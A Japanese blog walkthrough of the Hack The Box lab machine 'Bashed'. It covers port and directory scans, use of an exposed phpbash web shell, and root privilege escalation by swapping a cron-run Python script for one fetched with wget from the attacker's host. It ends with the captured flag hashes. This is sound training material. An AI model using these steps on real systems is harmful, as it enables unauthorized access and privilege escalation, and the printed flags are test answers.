セキュリティ技術メモブログ

日々の活動を記録する場所

【Hack The Box】Bashed Walkthrough

はじめに

  • マシン名:Bashed
  • OS:Linux
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.68

ポートスキャン

# nmap -A 10.10.10.68

f:id:Paichan:20200419104344p:plain 80(http)ポートが開いている。

ブラウザで80番ポートへアクセス

ブラウザで80番ポートへアクセス。ソースコードなどを確認したが、とくにヒントは得られない。 f:id:Paichan:20200419104416p:plain

ディレクトリスキャン

ディレクトリスキャンを実行。dirbが遅いので、gobusterを使った。

# gobuster dir -u http://10.10.10.68 -w /usr/share/dirb/wordlists/common.txt

f:id:Paichan:20200419104638p:plain /dev/にアクセスしてみると、ディレクトリリスティングが有効であり、配下にあるphpbash.phpにアクセスしてみると任意のコマンドが実行できるWebShellであった。 f:id:Paichan:20200419105120p:plain

あとは、以下の流れでuser.txtを取得。

cd /home
ls
cd arrexel
cat user.txt

f:id:Paichan:20200419105217p:plain

scriptmanagerユーザの調査

上記画像より、/home配下にはarrexelとscriptsmanagerユーザのディレクトリの存在が確認できる。

ほとんどのディレクトリはrootが所有者だが、scriptsディレクトリだけはscriptmanagerが所有者であった。ここに何かヒントがあると予想した。 f:id:Paichan:20200419105636p:plain

sudoコマンドが実行できるかを確認。
現在のユーザ(www-data)は、パスワードなしでscriptmanagerの権限で全てのコマンドが実行できることが分かった。

sudo -l

f:id:Paichan:20200419110436p:plain

scriptmanagerの権限で/scripts配下を確認すると、test.pyとtest.txtの存在が確認できた。test.pyの所有者はscriptmanagerで、test.txtの所有者はrootであった。
数分後に同じコマンドを実行すると、test.txtのタイムスタンプが変わることも確認。

sudo -u scriptmanager ls -l /scripts

f:id:Paichan:20200419111345p:plain

test.pyの置き換え

/scripts配下にあるtest.pyの中身を確認する。

sudo -u scriptmanager cat /scripts/test.py

f:id:Paichan:20200419111722p:plain test.txtに「testing 123!」という文字列を書き込むスクリプトだった。test.txtのタイムスタンプが変わっていたのは、test.pyがcronなどで定期的に実行されうよう設定されていたためだと思われる。
また、test.txtの所有者がrootであることから、test.pyはroot権限で実行されていると考えられる。

そこで、test.pyを、root.txtを表示(出力)するスクリプトに置き換える。
攻撃者側環境で、pythonスクリプトを用意し、Webサーバを起動した。
pythonでOSコマンドを実行するために、os.system()を使用。

import os
os.system("cat /root/root.txt > /tmp/root.txt")
python -m SimpleHTTPServer 80

f:id:Paichan:20200419213138p:plain

WebShell上から、攻撃者端末上に作成したtest.pyをダウンロードし、/scriptsフォルダに上書きする(scriptmanagerの権限で)。

cd /tmp
wget http://10.10.14.21/test.py
sudo -u scriptmanager cp test.py /scripts

f:id:Paichan:20200419214046p:plain

test.pyが上書きできたことを確認し、出力先のroot.txtを確認して終了。

sudo -u scriptmanager cat /scripts/test.py
cat /tmp/root.txt

f:id:Paichan:20200419214229p:plain

user.txt:2c281f318555dbc1b856957c7147bfc1
root.txt:cc4f0afe3a1026d402ba10329674a8e2